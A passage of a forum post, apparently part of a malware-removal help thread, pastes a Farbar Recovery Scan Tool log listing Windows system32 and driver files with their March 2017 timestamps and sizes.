2017-03-18 22:57 - 2017-03-18 22:57 - 00034304 _____ (Microsoft Corporation) C:\windows\system32\DeviceDisplayStatusManager.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00034304 _____ (Microsoft Corporation) C:\windows\system32\choice.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00034208 _____ (Microsoft Corporation) C:\windows\system32\SDFHost.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00033792 _____ (Microsoft Corporation) C:\windows\system32\WofUtil.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00033792 _____ (Microsoft Corporation) C:\windows\system32\vidcap.ax
2017-03-18 22:57 - 2017-03-18 22:57 - 00033792 _____ (Microsoft Corporation) C:\windows\system32\sxssrv.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00033792 _____ (Microsoft Corporation) C:\windows\system32\DeviceSetupStatusProvider.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00033792 _____ (Microsoft Corporation) C:\windows\system32\datusage.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00033688 _____ (Microsoft Corporation) C:\windows\system32\Drivers\fs_rec.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00033440 _____ (Microsoft Corporation) C:\windows\system32\mrt_map.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00033280 _____ (Microsoft Corporation) C:\windows\system32\snmpapi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00033280 _____ (Microsoft Corporation) C:\windows\system32\DeviceSoftwareInstallationClient.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00033280 _____ (Microsoft Corporation) C:\windows\system32\cofiredm.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00033184 _____ (Microsoft Corporation) C:\windows\system32\Drivers\WppRecorder.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00033168 _____ (Microsoft Corporation) C:\windows\system32\avrt.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00033160 _____ (Microsoft Corporation) C:\windows\system32\winnsi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00032768 _____ (Microsoft Corporation) C:\windows\system32\Windows.Management.Workplace.WorkplaceSettings.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00032768 _____ (Microsoft Corporation) C:\windows\system32\rpcnsh.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00032768 _____ (Microsoft Corporation) C:\windows\system32\netcfg.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00032256 _____ (Microsoft Corporation) C:\windows\system32\syskey.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00032256 _____ (Microsoft Corporation) C:\windows\system32\ndproxystub.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00032256 _____ (Microsoft Corporation) C:\windows\system32\DmNotificationBroker.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00032256 _____ (Microsoft Corporation) C:\windows\system32\cacls.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00032256 _____ (Microsoft Corporation) C:\windows\system32\bthpanapi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00032256 _____ (Microsoft Corporation) C:\windows\system32\AzSqlExt.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00032160 _____ (Microsoft Corporation) C:\windows\system32\kdcom.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00031904 _____ (Microsoft Corporation) C:\windows\system32\mrt100.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00031744 _____ (Microsoft Corporation) C:\windows\system32\ifmon.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00031744 _____ (Microsoft Corporation) C:\windows\system32\fsutilext.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00031744 _____ (Microsoft Corporation) C:\windows\system32\Drivers\msfs.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00031744 _____ (Microsoft Corporation) C:\windows\system32\DDOIProxy.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00031744 _____ (Microsoft Corporation) C:\windows\system32\BthTelemetry.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00031648 _____ (Microsoft Corporation) C:\windows\system32\kd_02_19a2.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00031648 _____ (Microsoft Corporation) C:\windows\system32\kd_02_10df.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00031648 _____ (Microsoft Corporation) C:\windows\system32\cryptbase.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00031232 _____ (Microsoft Corporation) C:\windows\system32\winrnr.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00031232 _____ (Microsoft Corporation) C:\windows\system32\pwsso.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00031232 _____ (Microsoft Corporation) C:\windows\system32\ProductEnumerator.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00031232 _____ (Microsoft Corporation) C:\windows\system32\mode.com
2017-03-18 22:57 - 2017-03-18 22:57 - 00031232 _____ (Microsoft Corporation) C:\windows\system32\ias.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00031232 _____ (Microsoft Corporation) C:\windows\system32\httpapi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00031232 _____ (Microsoft Corporation) C:\windows\system32\Drivers\tape.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00031232 _____ (Microsoft Corporation) C:\windows\system32\cryptdlg.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00030720 _____ (Microsoft Corporation) C:\windows\system32\ureg.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00030720 _____ (Microsoft Corporation) C:\windows\system32\timeout.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00030720 _____ (Microsoft Corporation) C:\windows\system32\RpcPing.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00030720 _____ (Microsoft Corporation) C:\windows\system32\nsisvc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00030720 _____ (Microsoft Corporation) C:\windows\system32\mciwave.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00030720 _____ (Microsoft Corporation) C:\windows\system32\cliconfg.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00030720 _____ (Microsoft Corporation) C:\windows\system32\atlthunk.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00030208 _____ (Microsoft Corporation) C:\windows\SysWOW64\PlayToStatusProvider.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00030208 _____ (Microsoft Corporation) C:\windows\system32\Windows.ApplicationModel.Background.TimeBroker.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00030208 _____ (Microsoft Corporation) C:\windows\system32\SystemEventsBrokerClient.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00030208 _____ (Microsoft Corporation) C:\windows\system32\shutdownext.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00030208 _____ (Microsoft Corporation) C:\windows\system32\mtxdm.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00030208 _____ (Microsoft Corporation) C:\windows\system32\msisip.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00030208 _____ (Microsoft Corporation) C:\windows\system32\mciseq.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00030208 _____ (Microsoft Corporation) C:\windows\system32\fltMC.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00030208 _____ (Microsoft Corporation) C:\windows\system32\elsTrans.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00030208 _____ (Microsoft Corporation) C:\windows\system32\aeevts.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00029696 _____ (Microsoft Corporation) C:\windows\system32\pcalua.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00029696 _____ (Microsoft Corporation) C:\windows\system32\nlmproxy.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00029696 _____ (Microsoft Corporation) C:\windows\system32\netiougc.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00029696 _____ (Microsoft Corporation) C:\windows\system32\gpupdate.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00029696 _____ (Microsoft Corporation) C:\windows\system32\fdWNet.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00029696 _____ (Microsoft Corporation) C:\windows\system32\cscdll.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00029696 _____ (Microsoft Corporation) C:\windows\system32\clip.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00029600 _____ (Microsoft Corporation) C:\windows\system32\Drivers\hwpolicy.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00029184 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfvfw.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00029184 _____ (Microsoft Corporation) C:\windows\system32\wmiprop.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00029184 _____ (Microsoft Corporation) C:\windows\system32\sxsstore.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00029184 _____ (Microsoft Corporation) C:\windows\system32\sspisrv.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00029184 _____ (Microsoft Corporation) C:\windows\system32\setspn.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00029184 _____ (Microsoft Corporation) C:\windows\system32\msacm32.drv
2017-03-18 22:57 - 2017-03-18 22:57 - 00029184 _____ (Microsoft Corporation) C:\windows\system32\easinvoker.proxystub.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00029184 _____ (Microsoft Corporation) C:\windows\system32\Dot3Conn.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00029184 _____ (Microsoft Corporation) C:\windows\system32\cmpbk32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00029088 _____ (Microsoft Corporation) C:\windows\system32\DDACLSys.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00028672 _____ (Microsoft Corporation) C:\windows\system32\MemoryDiagnostic.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00028672 _____ (Microsoft Corporation) C:\windows\system32\Drivers\asyncmac.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00028160 _____ (Microsoft Corporation) C:\windows\system32\msyuv.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00028160 _____ (Microsoft Corporation) C:\windows\system32\CallButtons.ProxyStub.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00028064 _____ (Microsoft Corporation) C:\windows\system32\Drivers\tbs.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00027648 _____ (Microsoft Corporation) C:\windows\system32\winrshost.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00027648 _____ (Microsoft Corporation) C:\windows\system32\wephostsvc.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00027648 _____ (Microsoft Corporation) C:\windows\system32\dswave.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00027496 _____ (Microsoft Corporation) C:\windows\system32\pcwum.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00027136 _____ (Microsoft Corporation) C:\windows\system32\secur32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00027136 _____ (Microsoft Corporation) C:\windows\system32\more.com
2017-03-18 22:57 - 2017-03-18 22:57 - 00027136 _____ (Microsoft Corporation) C:\windows\system32\DeviceEject.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00027032 _____ (Microsoft Corporation) C:\windows\system32\kd_02_1137.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00026912 _____ (Microsoft Corporation) C:\windows\SysWOW64\winnsi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00026624 _____ (Microsoft Corporation) C:\windows\system32\VaultCmd.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00026624 _____ (Microsoft Corporation) C:\windows\system32\shutdown.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00026624 _____ (Microsoft Corporation) C:\windows\system32\davhlpr.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00026624 _____ (Microsoft Corporation) C:\windows\system32\cmdext.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00026112 _____ (Microsoft Corporation) C:\windows\system32\WINSRPC.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00026112 _____ (Microsoft Corporation) C:\windows\system32\osbaseln.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00026112 _____ (Microsoft Corporation) C:\windows\system32\odbcconf.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00026112 _____ (Microsoft Corporation) C:\windows\system32\ncuprov.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00026112 _____ (Microsoft Corporation) C:\windows\system32\gptext.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00026112 _____ (Microsoft Corporation) C:\windows\system32\GamePanelExternalHook.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00026112 _____ (Microsoft Corporation) C:\windows\system32\encapi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00026112 _____ (Microsoft Corporation) C:\windows\system32\dmutil.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00026112 _____ (Microsoft Corporation) C:\windows\system32\delegatorprovider.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00026016 _____ (Microsoft Corporation) C:\windows\system32\BOOTVID.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00025920 _____ (Microsoft Corporation) C:\windows\system32\msg711.acm
2017-03-18 22:57 - 2017-03-18 22:57 - 00025600 _____ (Microsoft Corporation) C:\windows\system32\vdsldr.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00025600 _____ (Microsoft Corporation) C:\windows\system32\netbtugc.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00025600 _____ (Microsoft Corporation) C:\windows\system32\NcaApi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00025600 _____ (Microsoft Corporation) C:\windows\system32\msimsg.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00025600 _____ (Microsoft Corporation) C:\windows\system32\Drivers\Dumpstorport.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00025600 _____ (Microsoft Corporation) C:\windows\system32\DefaultPrinterProvider.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00025600 _____ (Microsoft Corporation) C:\windows\system32\bitsperf.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00025600 _____ (Microsoft Corporation) C:\windows\system32\ARP.EXE
2017-03-18 22:57 - 2017-03-18 22:57 - 00025088 _____ (Microsoft Corporation) C:\windows\system32\wscisvif.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00025088 _____ (Microsoft Corporation) C:\windows\system32\storagewmi_passthru.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00025088 _____ (Microsoft Corporation) C:\windows\system32\sdiagnhost.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00025088 _____ (Microsoft Corporation) C:\windows\system32\sdbinst.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00025088 _____ (Microsoft Corporation) C:\windows\system32\NcdProp.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00025088 _____ (Microsoft Corporation) C:\windows\system32\midimap.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00025088 _____ (Microsoft Corporation) C:\windows\system32\comp.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00025088 _____ (Microsoft Corporation) C:\windows\system32\chkwudrv.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00024576 _____ (Microsoft Corporation) C:\windows\system32\ktmw32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00024576 _____ (Microsoft Corporation) C:\windows\system32\irmon.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00024576 _____ (Microsoft Corporation) C:\windows\system32\fc.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00024576 _____ (Microsoft Corporation) C:\windows\system32\Direct2DDesktop.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00024480 _____ (Microsoft Corporation) C:\windows\system32\kdstub.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00024376 _____ (Microsoft Corporation) C:\windows\system32\nsi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00024064 _____ (Microsoft Corporation) C:\windows\system32\wfapigp.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00024064 _____ (Microsoft Corporation) C:\windows\system32\sort.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00024064 _____ (Microsoft Corporation) C:\windows\system32\serwvdrv.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00024064 _____ (Microsoft Corporation) C:\windows\system32\ROUTE.EXE
2017-03-18 22:57 - 2017-03-18 22:57 - 00024064 _____ (Microsoft Corporation) C:\windows\system32\Register-CimProvider.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00024064 _____ (Microsoft Corporation) C:\windows\system32\FileAppxStreamingDataSource.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00023936 _____ (Microsoft Corporation) C:\windows\system32\FsIso.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00023552 _____ (Microsoft Corporation) C:\windows\system32\regsvr32.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00023552 _____ (Microsoft Corporation) C:\windows\system32\Drivers\ws2ifsl.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00023552 _____ (Microsoft Corporation) C:\windows\system32\Drivers\mcd.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00023552 _____ (Microsoft Corporation) C:\windows\system32\dbnmpntw.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00023552 _____ (Microsoft Corporation) C:\windows\system32\CSystemEventsBrokerClient.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00023552 _____ (Microsoft Corporation) C:\windows\system32\cofire.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00023552 _____ (Microsoft Corporation) C:\windows\system32\capisp.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00023552 _____ (Microsoft Corporation) C:\windows\system32\adhapi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00023360 _____ (Microsoft Corporation) C:\windows\system32\ksuser.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00023040 _____ (Microsoft Corporation) C:\windows\system32\mgmtapi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00023040 _____ (Microsoft Corporation) C:\windows\system32\fhsvcctl.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00023040 _____ (Microsoft Corporation) C:\windows\system32\Drivers\usb8023.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00023040 _____ (Microsoft Corporation) C:\windows\system32\acu.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00022800 _____ (Microsoft Corporation) C:\windows\system32\iumbase.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00022528 _____ (Microsoft Corporation) C:\windows\system32\xmlprovi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00022528 _____ (Microsoft Corporation) C:\windows\system32\wshelper.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00022528 _____ (Microsoft Corporation) C:\windows\system32\uniplat.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00022528 _____ (Microsoft Corporation) C:\windows\system32\msdtcVSp1res.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00022528 _____ (Microsoft Corporation) C:\windows\system32\fltLib.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00022528 _____ (Microsoft Corporation) C:\windows\system32\easconsent.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00022400 _____ (Microsoft Corporation) C:\windows\system32\wow64cpu.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00022216 _____ (Microsoft Corporation) C:\windows\system32\IumSdk.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00022016 _____ (Microsoft Corporation) C:\windows\system32\SmsDeviceAccessRevocation.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00022016 _____ (Microsoft Corporation) C:\windows\system32\slcext.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00022016 _____ (Microsoft Corporation) C:\windows\system32\rasctrs.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00022016 _____ (Microsoft Corporation) C:\windows\system32\nbtstat.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00021656 _____ C:\windows\system32\NetTrace.PLA.Diagnostics.xml
2017-03-18 22:57 - 2017-03-18 22:57 - 00021504 _____ (Microsoft Corporation) C:\windows\system32\Windows.System.RemoteDesktop.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00021504 _____ (Microsoft Corporation) C:\windows\system32\replace.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00021504 _____ (Microsoft Corporation) C:\windows\system32\msiltcfg.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00021504 _____ (Microsoft Corporation) C:\windows\system32\Drivers\smclib.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00021408 _____ (Microsoft Corporation) C:\windows\system32\WlS0WndH.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00021280 _____ (Microsoft Corporation) C:\windows\system32\DefaultDeviceManager.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00020992 _____ (Microsoft Corporation) C:\windows\system32\fixmapi.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00020992 _____ (Microsoft Corporation) C:\windows\system32\fdPHost.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00020992 _____ (Microsoft Corporation) C:\windows\system32\Drivers\NdisVirtualBus.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00020992 _____ (Microsoft Corporation) C:\windows\system32\convert.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00020992 _____ (Microsoft Corporation) C:\windows\system32\cmstplua.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00020992 _____ (Microsoft Corporation) C:\windows\system32\bridgeunattend.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00020480 _____ (Microsoft Corporation) C:\windows\system32\wshqos.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00020480 _____ (Microsoft Corporation) C:\windows\system32\userinitext.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00020480 _____ (Microsoft Corporation) C:\windows\system32\rasdial.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00020480 _____ (Microsoft Corporation) C:\windows\system32\netevent.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00020480 _____ (Microsoft Corporation) C:\windows\system32\EsdSip.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00020384 _____ (Microsoft Corporation) C:\windows\system32\Drivers\wmilib.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00020376 _____ (Microsoft Corporation) C:\windows\system32\kdhvcom.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00020376 _____ (Microsoft Corporation) C:\windows\system32\Drivers\ntosext.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00020216 _____ (Microsoft Corporation) C:\windows\SysWOW64\nsi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00019968 _____ (Microsoft Corporation) C:\windows\system32\umdmxfrm.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00019968 _____ (Microsoft Corporation) C:\windows\system32\tree.com
2017-03-18 22:57 - 2017-03-18 22:57 - 00019968 _____ (Microsoft Corporation) C:\windows\system32\TieringEngineProxy.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00019968 _____ (Microsoft Corporation) C:\windows\system32\runas.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00019968 _____ (Microsoft Corporation) C:\windows\system32\irclass.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00019968 _____ (Microsoft Corporation) C:\windows\system32\Drivers\irenum.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00019968 _____ (Microsoft Corporation) C:\windows\system32\cmdkey.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00019456 _____ (Microsoft Corporation) C:\windows\system32\syssetup.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00019456 _____ (Microsoft Corporation) C:\windows\system32\serialui.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00019456 _____ (Microsoft Corporation) C:\windows\system32\RemoteWipeCSP.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00019456 _____ (Microsoft Corporation) C:\windows\system32\mpnotify.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00019456 _____ (Microsoft Corporation) C:\windows\system32\appidcertstorecheck.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00018944 _____ (Microsoft Corporation) C:\windows\system32\wsock32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00018944 _____ (Microsoft Corporation) C:\windows\system32\ntvdm64.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00018944 _____ (Microsoft Corporation) C:\windows\system32\doskey.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00018944 _____ (Microsoft Corporation) C:\windows\system32\AuthHostProxy.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00018848 _____ (Microsoft Corporation) C:\windows\system32\setupetw.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00018848 _____ (Microsoft Corporation) C:\windows\system32\kd_07_1415.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00018720 _____ (Microsoft Corporation) C:\windows\system32\psapi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00018432 _____ (Microsoft Corporation) C:\windows\system32\wshrm.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00018432 _____ (Microsoft Corporation) C:\windows\system32\stdole2.tlb
2017-03-18 22:57 - 2017-03-18 22:57 - 00018432 _____ (Microsoft Corporation) C:\windows\system32\netbios.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00018432 _____ (Microsoft Corporation) C:\windows\system32\kernelceip.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00018432 _____ (Microsoft Corporation) C:\windows\system32\clb.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00018432 _____ (Microsoft Corporation) C:\windows\hh.exe

Twix. 06.06.2017 11:48
FRST10:
Code:
2017-03-18 22:57 - 2017-03-18 22:57 - 00017935 _____ C:\windows\system32\EventViewer_EventDetails.xsl
2017-03-18 22:57 - 2017-03-18 22:57 - 00017920 _____ (Microsoft Corporation) C:\windows\system32\RmClient.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00017920 _____ (Microsoft Corporation) C:\windows\system32\rasautou.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00017920 _____ (Microsoft Corporation) C:\windows\system32\msrle32.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00017920 _____ (Microsoft Corporation) C:\windows\system32\mountvol.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00017920 _____ (Microsoft Corporation) C:\windows\system32\ktmutil.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00017920 _____ (Microsoft Corporation) C:\windows\system32\DsmUserTask.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00017920 _____ (Microsoft Corporation) C:\windows\system32\Drivers\rasacd.sys
2017-03-18 22:57 - 2017-03-18 22:57 - 00017920 _____ (Microsoft Corporation) C:\windows\system32\C_IS2022.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00017824 _____ (Microsoft Corporation) C:\windows\system32\kdnet_uart16550.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00017696 _____ (Microsoft Corporation) C:\windows\system32\csrss.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00017408 _____ (Microsoft Corporation) C:\windows\system32\wscproxystub.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00017408 _____ (Microsoft Corporation) C:\windows\system32\wowreg32.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00017408 _____ (Microsoft Corporation) C:\windows\system32\nlmsprep.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00017408 _____ (Microsoft Corporation) C:\windows\system32\KBDCHERP.DLL
2017-03-18 22:57 - 2017-03-18 22:57 - 00017408 _____ (Microsoft Corporation) C:\windows\system32\find.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00016896 _____ (Microsoft Corporation) C:\windows\system32\tsbyuv.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00016896 _____ (Microsoft Corporation) C:\windows\system32\secinit.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00016896 _____ (Microsoft Corporation) C:\windows\system32\rasadhlp.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00016896 _____ (Microsoft Corporation) C:\windows\system32\print.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00016896 _____ (Microsoft Corporation) C:\windows\system32\MRINFO.EXE
2017-03-18 22:57 - 2017-03-18 22:57 - 00016896 _____ (Microsoft Corporation) C:\windows\system32\label.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00016896 _____ (Microsoft Corporation) C:\windows\system32\fsavailux.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00016896 _____ (Microsoft Corporation) C:\windows\system32\fhuxapi.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00016800 _____ (Microsoft Corporation) C:\windows\system32\spwizres.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00016384 _____ (Microsoft Corporation) C:\windows\system32\whhelper.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00016384 _____ (Microsoft Corporation) C:\windows\system32\subst.exe
2017-03-18 22:57 - 2017-03-18 22:57 - 00016384 _____ (Microsoft Corporation) C:\windows\system32\pstorec.dll
2017-03-18 22:57 - 2017-03-18 22:57 - 00016384 _____ (Microsoft Corporation) C:\windows\system32\pstask.dll
